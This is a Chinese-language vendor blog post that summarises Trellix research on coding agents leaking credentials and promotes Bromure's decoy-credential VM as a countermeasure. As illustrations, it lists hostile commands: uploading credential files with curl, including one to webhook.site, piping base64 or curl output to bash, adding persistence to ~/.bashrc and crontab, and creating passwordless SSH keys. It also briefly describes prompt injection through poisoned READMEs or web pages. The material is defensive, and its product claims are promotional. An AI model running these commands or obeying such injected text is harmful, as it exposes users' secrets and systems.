權杖留在了對話紀錄裡
10 月 14 日,Trellix 發表了一份研究,談的是它所說的「看不見的憑證攻擊面」:程式碼代理在日常工作中,順手就把機密從鑰匙圈裡取出,放上命令列、寫進 shell 歷史與自己的對話紀錄,再送到模型供應商那裡。Trellix 列出十類行為,每一類都用受信任的執行檔完成,並指出以單一事件為單位的遙測無法把它們和開發者或攻擊者區分開來。在 Bromure Agentic Coding 裡,代理做出的每一份副本都是替身,真正的值只存在於 Mac 上、線路上,只給它所屬的主機。
權杖原本在鑰匙圈裡。一條 curl 指令之後,它出現在行程表、代理的對話紀錄,以及某家模型供應商的日誌裡。
你請代理「從 Graph API 抓我的個人資料」。它沒向你要任何密碼就完成了。它呼叫一個輔助程式,從金鑰庫解密你儲存的 OAuth 權杖,接著執行:
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me
請求成功了。一路上,權杖進了你的端點遙測、進了其他本機程式都讀得到的行程表、進了磁碟上代理的對話紀錄,也進了代理下一輪送給模型供應商的上下文視窗。
這個例子是 Trellix 的 Haowei Ren 在 10 月 14 日星期二發表的 The Unseen Credential Surface 的開場。Cyber Security News 隔天做了報導。這份研究沒有描述任何漏洞利用,也沒有惡意程式。它追蹤的是代理在一般工作日裡怎麼處理機密。Trellix 的出發點是假設代理處理你的憑證「會像一位好工程師那樣小心」,然後回答:「它不會。這不是出於惡意,而是架構使然。」
往下五階
Trellix 把機密可能存在的每個位置排在一把梯子上,從最安全到最暴露:
- 鎖起來:在鑰匙圈、DPAPI 或認證管理員裡。
- 在記憶體中:在單一行程之內。
- 在命令列上:監控工具和其他本機行程都讀得到,而且常被存進 shell 歷史。
- 寫進磁碟:shell 歷史、設定檔,「以及代理自己的對話紀錄」。
- 離開這台機器:被提交、推送、上傳,「或送給模型供應商」。
代理會把機密往梯子下方移,因為那是完成任務的最短路徑。有一階是代理才帶來的。你執行 cat .env,機密出現在你的螢幕上。代理執行它時,「內容進入它的上下文視窗,被送到外部模型供應商,可能在那裡被永久記錄」。Trellix 總結:「人為錯誤留在你的牆內,代理的操作不會。」
十條再平常不過的指令
研究把這些行為分成十類。每個例子都是你自己打過的指令:
- 憑證當作參數:
curl -u、kubectl --token=…、mysql -p…。 - 讀取憑證檔:
cat .env、~/.aws/credentials、~/.kube/config、~/.git-credentials、~/.docker/config.json。 - 向鑰匙圈要明文:
security find-generic-password -w、gh auth token、git credential fill。 - 傾印環境變數:
env、printenv | grep -iE 'key|token'。 - 關閉 TLS 檢查:
curl -k、NODE_TLS_REJECT_UNAUTHORIZED=0、git -c http.sslVerify=false。 - 把機密送出去:
git add .env && git push、curl --data @~/.aws/credentials、gh gist create。 - 隱藏執行:
base64 -d | bash、curl | bash、eval "$(curl …)"。 - 持久化:在
~/.bashrc或 crontab 加上幾行。 - 產生新憑證:
ssh-keygen -N "",再把金鑰加進authorized_keys。 - 讀出雲端保管庫:
aws secretsmanager get-secret-value、vault kv get、kubectl get secret。
每一類執行的都是受信任、有簽章的執行檔,同一台機器每天出於正當理由執行它們上千次。一條在「某行程讀了 .env 檔」時觸發的規則,會在編輯器、linter 和測試執行器上觸發。Trellix 的結論是:「攻擊的每一步都存在於正常活動中。為了抓它而調校的獵捕,往往不是對每個人都響,就是對誰都不響。」
Trellix 指出,從暴露走到入侵的那一步是提示注入。代理本來就會讀機密、會往外送資料。一份被下毒的 README、issue 或網頁,只要把這些習慣導向攻擊者經營的主機就夠了。
讓機密留在最上面那一階
Trellix 的對策都能濃縮成一句話:「讓機密留在上面幾階,或讓暴露的機密迅速失去價值。」Bromure Agentic Coding 兩者都做到。
代理在你 Mac 上的 Linux VM 裡執行。真正的機密留在 Mac 的加密保管庫中,主金鑰放在 Data Protection Keychain,從不進入 VM。VM 拿到的是形狀和真品一樣的替身:GitHub 權杖是 ghp_ 加 36 個字元,Anthropic 金鑰是 sk-ant-api03-brm-…,叢集權杖是 brm-k8s-…,你從 .env 檔匯入的任何東西則是 brm_…。VM 發出的每個 HTTPS 請求都會經過 Mac 上的代理伺服器,只有當請求的目的地正是該憑證所屬的主機時,代理伺服器才把替身換成真正的值。
所以代理可以把權杖一路往下移過五階。到達命令列、shell 歷史、對話紀錄和模型供應商的,都是替身。真正的值只多存在一個地方:Mac 重新加密、送往該憑證所屬主機的那個請求。
在 Bromure 機器裡的十類行為
讓同一個代理、帶著同樣的習慣,在 Bromure 機器裡執行。十類行為照樣執行,而每一類帶回來的,都比它想拿的少。
參數、檔案、鑰匙圈與環境變數
前四類會從金鑰庫、檔案或環境變數讀出機密,再放上命令列。在 VM 裡,這四類找到的都是同樣的替身。
env 和 printenv 印出的是替身。~/.git-credentials、~/.docker/config.json 和合成出來的 ~/.kube/config 裡放的是替身。你在機器的 Credentials 面板用 Import env file… 匯入的專案 .env,在同樣的變數名稱下放的是替身,你的程式碼照舊讀取。gh auth token 回傳一個 ghp_ 替身。~/.aws/config 指向一個輔助程式,它交出存取金鑰 ID,搭配一把 40 個字元的假私密金鑰。AWS CLI 用假金鑰簽章,Mac 在請求送出時拿掉這個簽章,改用真金鑰重新簽章。
Trellix 梯子最上面那一階,也就是作業系統的金鑰庫,在 Mac 上、在 VM 之外。VM 裡的 security find-generic-password 沒有鑰匙圈可問。在主機和 VM 之間傳遞權杖的 vsock 通道是單向的:主機寫入替身,VM 沒有任何請求可以把真正的權杖要回來。
SSH 也一樣運作,而且完全不需要權杖。VM 裡的 SSH_AUTH_SOCK 是一座通往 Mac 上 SSH agent 的橋。透過 SSH 的 git push 拿得到簽章,而 ls ~/.ssh/id_* 找不到任何私鑰。
代理可以把這些值貼進 curl -H、寫進日誌、用 echo 寫進腳本,或在回覆裡引述給模型。Trellix 要求代理開發者「在看起來像憑證的字串進入 LLM 上下文視窗之前就把它遮蔽」。Bromure 機器在代理打開檔案之前就滿足了這個要求:檔案裡從一開始放的就是替身。
關閉 TLS 檢查
在 VM 裡,TLS 終止於 Bromure 代理伺服器,使用的是每次安裝各自產生、只有你的機器信任的 CA 所簽發的憑證。代理伺服器透過 macOS 的 TLS 堆疊,自行連線到真正的伺服器,不論代理傳給 curl 什麼參數,都會驗證真正的憑證。所以 curl -k 或 NODE_TLS_REJECT_UNAUTHORIZED=0 免除的是對 Bromure 自己憑證的檢查,Mac 依然會檢查伺服器。
唯一能跳過上游驗證的方法是一個標頭 X-bromure-insecure: yes,專為使用私有 CA 的伺服器而設。在這種請求上,代理伺服器不注入任何真正的憑證,只送出替身,Security Timeline 則把這次使用記錄為一列 Upstream TLS。
把機密送出去
curl --data @~/.git-credentials https://webhook.site/… 上傳的是一個裝滿替身的檔案。代理伺服器會掃描每個外送請求的標頭和本文,找出任何要送往非其發行主機的替身。一個正前往 webhook.site 的 GitHub 替身會收到 HTTP 451,什麼都不會轉送,VM 暫停,Mac 顯示 This environment may have been compromised,並列出權杖預覽、憑證名稱、它所屬的主機,以及代理把它送往的主機。
git push 和 gh gist create 送往 GitHub,那正是權杖該去的地方。新機器一開始的 GitHub 寫入政策是 Prompt before write,所以推送和 gist 都會停在 Mac 上一個顯示該操作的對話框,由你決定是否繼續。如果你允許,代理提交的檔案裡放的也是替身。
隱藏執行
base64 -d | bash 讓指令躲過只記錄外層包裝的行程遙測。但酬載發出的任何請求仍然要經過代理伺服器離開 VM:它會碰上同樣的替身掃描、機器 Guardrails 面板裡的 Outbound connections 防火牆,以及追蹤。在預設的追蹤層級 AI request details 下,Mac 會加密保存與模型供應商的每一次往來,Trace Inspector 則列出每次工具呼叫及其輸入,包括模型寫出的那行 curl | bash。
持久化與新金鑰
加到 ~/.bashrc 的一行會落在 VM 的家目錄。Rewind home… 能把這個家目錄倒回先前的檢查點。Mac 的 shell 啟動檔位在邊界的另一側。
卡在密碼短語提示的代理,會執行 ssh-keygen -N "" 來脫困。在 Bromure 機器裡,SSH 橋早已用機器的金鑰簽章,所以透過 SSH 的 git 第一次就能用,代理根本碰不到需要繞過的提示。在 GitHub 註冊新金鑰是對 GitHub API 的寫入,會和推送一樣停在 Prompt before write 對話框。
讀出雲端保管庫
aws secretsmanager get-secret-value 需要 SigV4 簽章,而只有 Mac 能產生。在 Guardrails 為 AWS 憑證開啟 Require approval to use,一個工作階段中的第一次簽章就會等待 Allow for 5 minutes、Allow for 1 hour、Allow for the rest of the session 或 Don't allow。每個 Kubernetes context 也有同樣的開關,所以 kubectl get secret 會等到你點頭。每次 AWS 簽章都會以一列 Credential used 出現在 Security Timeline,存取金鑰會被遮蔽。
對於代理透過 HTTP 查詢的資料庫,例如 Mongo Data API、ClickHouse 或 Elasticsearch,你可以乾脆省掉查詢保管庫這一步:在 Credentials → Databases 加入端點,VM 會拿到一個 brm-db-… 替身,代理伺服器除了標頭,也會在請求本文中替換它。
綁回代理的序列
Trellix 主張,有用的偵測單位是一段序列:存取憑證、使用、外送,並且「追溯到啟動這條鏈的代理行程」。它給部署者的建議最後是短效權杖、鎖緊對外流量,以及把每台執行代理的機器當作「高價值、經手機密的基礎設施」。
在 Bromure 裡,這個單位就是機器:一個 VM,有它自己的代理工作階段。Security Timeline 把每次憑證替換、外洩攔截、防火牆判定、寫入政策決定和 AWS 簽章放進同一張表,並附有 Workspace 欄位,一台機器的整條鏈可以從上讀到下。那台機器的追蹤記錄了產生每個請求的工具呼叫。bromure-cli trace leaks 會列出把權杖帶往錯誤主機的請求。
Mac 也讓權杖的壽命保持短暫。Claude、Codex、Grok 和 Kimi 的訂閱登入,會在到期前約五分鐘於主機端更新,VM 從不持有更新權杖。以 1Password 參照方式儲存的值每兩分鐘重新解析一次,所以在 1Password 輪替之後,不必重新啟動就會傳到代理伺服器。在防火牆把 Unmatched traffic 設為 Deny,機器就只能連到你列出的主機。
每份副本都是替身
環境變數、設定檔、匯入的 .env 值、gh 與 AWS CLI 的輸出:全都是替身。代理放上命令列、寫進對話紀錄或放進上下文視窗的東西,離開線路就一文不值。
真正的值住在 Mac 上
機密留在加密保管庫裡,金鑰放在 Data Protection Keychain。代理伺服器只為每個值的發行主機把真品換進去。SSH 金鑰透過橋接簽章,從不進入 VM。
替身出現在錯誤的地方,機器就停下
要送往其他主機的替身會收到 451,VM 暫停,Mac 指出是哪個權杖、它的歸屬主機和目的地。
每台機器一條時間軸
替換、攔截、防火牆判定、寫入核准和 AWS 簽章都在 Security Timeline 裡,背後的工具呼叫則在追蹤裡。
一個工作日
Trellix 說代理是「現代企業中最大的憑證處理系統之一」,而且是意外建成的。你從沒選擇把 Graph 權杖放進對話紀錄。代理需要把它放進標頭,而它把標頭寫在了命令列上。
不論你給它什麼模型或提示,你的代理都會繼續執行 env 來除錯連線,執行 cat .env 來理解專案。讓它在這些指令回傳替身的地方執行。關於替身前往錯誤主機時響起的警報,請讀 代理洩漏了自己的金鑰 和 鑰匙就是你的 .env 檔。